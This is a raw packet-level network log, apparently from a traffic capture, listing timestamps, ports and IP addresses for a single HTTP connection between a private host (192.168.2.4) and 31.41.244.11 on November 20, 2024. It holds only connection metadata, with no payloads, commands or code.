Nov 20, 2024 04:08:12.350152016 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350158930 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.350172043 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350191116 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.350193977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350233078 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.350253105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.350258112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350275040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350297928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350311995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350326061 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.350336075 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350352049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350366116 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.350368023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350384951 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350389004 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.350402117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350418091 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.350420952 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350435972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350451946 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350452900 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.350471020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.350513935 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.391341925 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.391371965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.391391039 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.391407013 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.391424894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.391442060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.391441107 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.391468048 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.391490936 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.391830921 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.423098087 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423137903 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423166037 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423183918 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.423201084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423228979 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423237085 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.423252106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423270941 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423276901 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.423297882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423325062 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423333883 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.423348904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423360109 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.423366070 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423379898 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.423384905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423403978 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423420906 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423423052 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.423439980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423455954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423471928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423472881 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.423490047 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423494101 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.423507929 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423523903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.423525095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423523903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.423544884 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423562050 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423567057 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.423579931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.423587084 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.423604965 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.423641920 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.435529947 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435553074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435571909 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435616016 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.435657978 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.435687065 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435705900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435714960 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435744047 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435765982 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.435770035 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435786963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435802937 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.435812950 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435830116 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435842991 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.435846090 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435863018 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435880899 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.435882092 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435899019 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435899019 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.435915947 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435934067 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.435934067 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435951948 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435967922 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.435971022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435990095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.435993910 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436006069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436017990 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436022997 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436039925 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436053038 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436058044 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436074972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436084986 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436085939 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436103106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436116934 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436121941 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436130047 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436132908 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436173916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436177015 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436191082 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436207056 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436228037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436261892 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436378956 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436395884 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436414003 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436438084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436454058 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436455011 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436472893 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436480999 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436491013 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436507940 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436515093 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436527014 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436543941 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436551094 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436563015 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436578035 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436614990 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436691999 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436719894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436748028 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436765909 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436779976 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436856985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436857939 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436876059 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436894894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436911106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436912060 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436922073 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436927080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.436953068 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.436988115 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.437690973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.437726974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.437742949 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.437752008 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.437762022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.437772036 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.437776089 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.437786102 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.437799931 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.437803984 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.437836885 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.437860966 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438168049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438220024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438221931 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438256025 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438275099 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438291073 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438361883 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438378096 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438393116 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438407898 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438416004 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438426018 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438438892 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438476086 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438528061 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438544035 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438570023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438585043 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438592911 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438602924 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438616991 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438621044 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438638926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438652039 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438656092 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438684940 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438687086 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438710928 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438714981 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438733101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438750982 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438761950 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438774109 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438791037 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438808918 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438812017 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438839912 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438839912 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438855886 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438859940 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438879013 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438888073 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438894987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438910007 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438914061 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438927889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438937902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438951015 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438955069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438973904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.438976049 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.438993931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.439018011 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.439018011 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.439042091 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.479944944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.479974031 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.479991913 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.480010033 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.480026007 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.480041027 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.480056047 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.480057955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.480072975 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.480123997 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.480163097 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.511678934 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.511727095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.511744022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.511760950 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.511771917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.511792898 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.511801004 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.511801004 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.511832952 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.511840105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.511850119 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.511859894 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.511878014 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.511888027 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.511897087 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.511907101 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.511919975 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.511936903 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.511950970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.511966944 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.511976004 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.511982918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.511986017 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.511993885 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.511995077 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.512005091 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.512012005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.512021065 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.512028933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.512037992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.512044907 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.512074947 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.512181044 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524091959 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524125099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524141073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524219990 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524286032 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524310112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524327040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524342060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524359941 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524375916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524379969 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524393082 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524406910 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524414062 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524426937 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524435997 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524445057 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524461985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524480104 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524481058 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524496078 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524502993 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524513960 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524523020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524532080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524543047 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524558067 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524578094 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524583101 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524600029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524606943 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524616957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524632931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524642944 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524652004 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524662018 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524669886 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524686098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524703026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524718046 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524734974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524749994 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524756908 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524766922 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524780035 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524780035 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524780035 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524801970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524820089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524821997 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524847031 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524859905 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524866104 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524884939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524899006 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524913073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524919987 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524930954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524945974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524956942 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.524971962 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524988890 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.524991989 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.525006056 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.525022984 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.525032997 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.525039911 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.525055885 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.525058985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.525073051 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.525094986 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.525115013 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.525150061 CET	62430	80	192.168.2.4	31.41.244.11
